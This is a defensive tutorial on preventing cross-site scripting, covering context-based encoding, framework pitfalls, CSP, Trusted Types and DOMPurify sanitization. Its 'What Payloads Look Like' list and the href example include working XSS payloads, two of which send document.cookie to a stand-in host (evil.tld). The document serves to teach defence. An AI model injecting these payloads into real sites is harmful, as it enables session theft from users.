The Essence of XSS: Data Executed as Code
XSS has exactly one root cause: untrusted data gets parsed by the browser as executable code. Every defense is, at bottom, a way of drawing a clear line between "data" and "code" that the browser cannot cross.
By where injection and triggering happen, XSS comes in three flavors:
| Type | Where data comes from | Where it fires | Passes through the server? | Typical setting |
|---|---|---|---|---|
| Reflected | URL parameters / form posts | The server echoes the value into HTML | Yes | Search results, error pages |
| Stored | The database (content a user submitted earlier) | Rendered when other users load the page | Yes | Comments, display names, forum posts |
| DOM | URL fragment / postMessage / client-side APIs | Front-end JS writes it into the DOM | No | SPA routing, innerHTML rendering |
Of the three, DOM XSS is the one most often missed: the payload never reaches your server, so it appears nowhere in server logs, and WAFs and server-side filters are useless against it. It can only be prevented in front-end code.
What Payloads Look Like
Know the enemy before the defense. Every one of these actually fires:
<!-- 1. Classic script injection -->
<script>alert(document.cookie)</script>
<!-- 2. Event handler (no script tag needed) -->
<img src=x onerror="fetch('https://evil.tld?c='+document.cookie)">
<!-- 3. An obscure SVG event that slips past most keyword blacklists -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- 4. The javascript: pseudo-protocol -->
<a href="javascript:alert(1)">click</a>
<!-- 5. Case variation plus entity encoding -->
<IMG SRC=x ONERROR=javascript:alert(1)>
<!-- 6. Whitespace inside a tag (browsers tolerate newlines and tabs) -->
<img/src=x
onerror=alert(1)>
<!-- 7. Breaking out of an attribute to append a new one -->
" onmouseover="alert(1)
<!-- 8. Escaping a JavaScript string context -->
'; alert(1); //
Note number 8: it contains no angle brackets at all and stays dangerous even after HTML escaping, because it attacks the JavaScript string context, not the HTML context. That leads directly to the next section.
The Core Principle: Encode by Context, Not "Escape Everything"
This is the most important section of the article. The encoding is determined by where the output lands, not by where the data came from. The same string in a different position needs entirely different encoding:
| Output context | Dangerous characters | Correct encoding | Wrong approach |
|---|---|---|---|
HTML text node <div>DATA</div> |
< > & |
HTML entity encoding | Only filtering <script> |
HTML attribute <div title="DATA"> |
" ' & space |
HTML attribute encoding + quote the attribute | Emitting without quotes |
JavaScript string var a = 'DATA' |
' " \ newline |
\xNN hex escaping |
HTML escaping only |
URL parameter ?q=DATA |
Any non-alphanumeric | encodeURIComponent |
Hand-rolled replacement |
CSS value color: DATA |
( ) ; url etc. |
CSS escaping + strict allowlist | Straight concatenation |
The most common mistake is treating HTML escaping as a universal cure. Consider this:
// Dangerous: the data lands in a JS string context, so HTML escaping cannot save you
const username = "'; alert(document.cookie); //"
element.innerHTML = `<div onclick="greet('${escapeHtml(username)}')">hi</div>`
// escapeHtml does not neutralize JS metacharacters beyond the quote, so the string
// is closed early and alert executes
There are two correct fixes; use either (the first is preferred):
// Option 1: do not concatenate code at all — use DOM APIs and event binding
const div = document.createElement('div')
div.textContent = username // textContent never parses HTML
div.addEventListener('click', () => greet(username))
// Option 2: if you must inline, serialize the data as JSON and never splice it
// into an HTML attribute
<script type="application/json" id="boot">{"username":"<\/script>"}</script>
To check which entity a character becomes, use our HTML entity encoder; the full reference table is in the HTML entities cheat sheet. For URL contexts use the URL encoder/decoder, and for the rules themselves see the URL encoding cheat sheet.
The Real Boundaries of Frameworks
Template interpolation in modern frameworks (React's {value}, Vue's {{ value }}) escapes HTML text by default, which eliminates the vast majority of XSS. But the boundaries must be explicit:
| Pattern | Safe? | Notes |
|---|---|---|
<div>{userInput}</div> |
Safe | Goes to a text node, auto-escaped |
<div title={userInput}> |
Safe | Attribute value; the framework handles it |
<a href={userInput}> |
Needs validation | Frameworks do not validate the protocol; javascript: survives |
dangerouslySetInnerHTML |
Dangerous | Equivalent to innerHTML: zero escaping |
v-html="userInput" |
Dangerous | Equivalent to innerHTML: zero escaping |
ref + innerHTML = x |
Dangerous | Bypasses the framework entirely |
style={{ background: userInput }} |
Needs validation | A CSS context; older browsers have injection surface |
| SSR string concatenation | Depends | Escape </script> when serializing state into HTML |
The href trap is particularly subtle. Neither React nor Vue validates protocols — they only escape — so this line renders an executable link in both:
<a href={profile.website}>Personal site</a>
// profile.website = "javascript:fetch('//evil.tld?c='+document.cookie)"
The fix is a protocol allowlist before rendering:
function safeUrl(raw) {
try {
const u = new URL(raw, window.location.origin)
return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
} catch { return '#' } // Any parse failure falls back to a safe value
}
CSP: So Injected Code Cannot Run Even If It Lands
Content Security Policy tells the browser, via a response header, which sources may execute code. It does not prevent injection — it prevents the injected code from running.
Key directives
| Directive | Controls | Suggested value |
|---|---|---|
default-src |
Fallback for all resource types | 'self' |
script-src |
JavaScript | 'self' plus nonce/hash, never 'unsafe-inline' |
style-src |
CSS | 'self' plus nonce (CSS is injectable too) |
img-src |
Images | 'self' data: https: |
connect-src |
fetch / XHR / WebSocket | 'self' plus explicit API origins |
frame-ancestors |
Who may iframe you | 'none' (supersedes the deprecated X-Frame-Options) |
base-uri |
<base> element |
'none' (blocks relative-path hijacking) |
form-action |
Form submission targets | 'self' |
object-src |
Plugins | 'none' |
require-trusted-types-for |
Enforces DOM XSS defense | 'script' |
Nonce and hash: inline scripts without 'unsafe-inline'
Inline scripts are the biggest practical obstacle to adopting CSP (legacy code, analytics snippets, SSR bootstrap data). Three ways out:
# Option 1: nonce — a fresh random value per response; both sides must match (recommended)
Content-Security-Policy: script-src 'self' 'nonce-r@nd0mValue'
<script nonce="r@nd0mValue">initApp()</script>
# Option 2: hash — SHA-256 of the script body; any change invalidates it
Content-Security-Policy: script-src 'self' 'sha256-hashOfScriptContent='
// Option 3: move the inline script to an external file — cleanest, but most work
// <script src="/js/init.js" defer></script>
Two hard requirements for nonces: the value must be cryptographically random on every response (otherwise an attacker reads it once and reuses it), and you must never also declare 'unsafe-inline' — browsers ignore 'unsafe-inline' when a nonce is present, but writing both makes the policy self-contradictory and ineffective.
Rolling out safely: report-only
Enforcing a policy outright risks breaking production. Observe first:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Collect violation reports for a week or two, fix each one (or allowlist it deliberately), then switch Report-Only for the real header. Full header semantics are in the HTTP headers cheat sheet.
Trusted Types: Eliminating DOM XSS at the Root
Trusted Types changes dangerous DOM sinks (innerHTML, outerHTML, document.write, eval, <iframe> srcdoc) from "accepts a string" to "accepts a special object only". To write to innerHTML, the value must pass through a sanitization policy you registered:
// 1. Register the policy: this is the single sanitization chokepoint
trustedTypes.createPolicy('default', {
createHTML: input => DOMPurify.sanitize(input),
})
# 2. The server sends the enforcement header
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
After that, any assignment that skipped the policy throws:
el.innerHTML = userInput // TypeError: This document requires 'TrustedHTML'
el.innerHTML = sanitizedOutput // OK: an object produced by the policy
The elegance here is that "remember to sanitize" stops being developer discipline and becomes a type-system constraint: omissions fail loudly in development instead of shipping silently. Chrome and Edge support it; Firefox and Safari do not yet. Paired with CSP, unsupported browsers simply fall back to ordinary CSP protection with no side effects.
Rich Text: Sanitize, Do Not Escape
Markdown rendering, comments, and WYSIWYG editors all need to preserve some HTML. Escaping would destroy the formatting, so the only way out is allowlist sanitization:
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p','br','strong','em','a','ul','ol','li','code','pre','blockquote','h2','h3'],
ALLOWED_ATTR: ['href','title','target','rel'],
ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#)/i, // Kill javascript: and data:
})
// Always add rel when rendering external links, to block reverse tabnabbing
document.querySelectorAll('.rich a[target=_blank]')
.forEach(a => a.rel = 'noopener noreferrer')
Server-side languages have equivalents: bleach or ammonia in Python, the OWASP Java HTML Sanitizer for Java, HTMLPurifier for PHP. Never parse HTML with your own regex. HTML is not a regular language, its parser error-recovery rules are enormously complex, and a homegrown sanitizer will almost certainly have bypasses. If you must write validation regexes, exercise the edge cases thoroughly in the regex tester first.
Eight Frequent Mistakes
| Mistake | Why it is wrong | What to do |
|---|---|---|
| Blacklisting keywords | HTML has near-infinite equivalent forms | Allowlist plus output encoding |
| Filtering only on the way into the database | Storage can be written by other paths; filtering corrupts source data | Store raw; encode or sanitize on output |
| Relying on a WAF | A WAF blocks, it does not fix, and it cannot touch DOM XSS | Fix the code; treat the WAF as backup |
Keeping 'unsafe-inline' in CSP |
Any inline script is allowed, so CSP is largely void | Move to nonce or hash |
Using innerHTML with "already escaped" strings |
Still breaks when the escaping does not match the context | Use textContent or DOM APIs |
| Believing HttpOnly cookies prevent XSS | It only blocks cookie reads; the DOM can still be rewritten, requests made, users phished | HttpOnly is mitigation, not prevention |
Escaping only < and > |
In an attribute context the " is what kills you |
Encode completely, per context |
| Assuming front-end validation is enough | It is bypassed outright by calling the API with curl | Validate independently on the server |
On that last row: front-end validation is worth its weight in user experience and nothing in security. An attacker never opens your page — they construct requests against your API directly.
Pre-Launch Checklist
- [ ] All untrusted data is encoded according to its output context, not uniformly HTML-escaped
- [ ] Every HTML attribute is quoted, and attribute values are attribute-encoded
- [ ] No
innerHTML/v-html/dangerouslySetInnerHTMLtouches untrusted data; where it must, sanitization runs first - [ ] Every
href/srcpasses a protocol allowlist (http/https/mailto) - [ ] CSP deployed without
'unsafe-inline'; inline scripts use nonce or hash - [ ] CSP went through a
Report-Onlyphase with no outstanding violations - [ ] Rich text is sanitized by DOMPurify (or a server-side equivalent) before rendering
- [ ] Session cookies are
HttpOnly+Secure+SameSite - [ ] SSR state serialized into HTML escapes
</script>and<!-- - [ ] Dependencies audited regularly; third-party scripts pinned or protected with SRI
Related Resources
At the encoding layer, our HTML entity encoder and URL encoder/decoder let you verify escaping results directly. To inspect whether a JWT payload smuggles executable content, use the JWT parser; for Base64-obfuscated payloads use the Base64 encoder/decoder.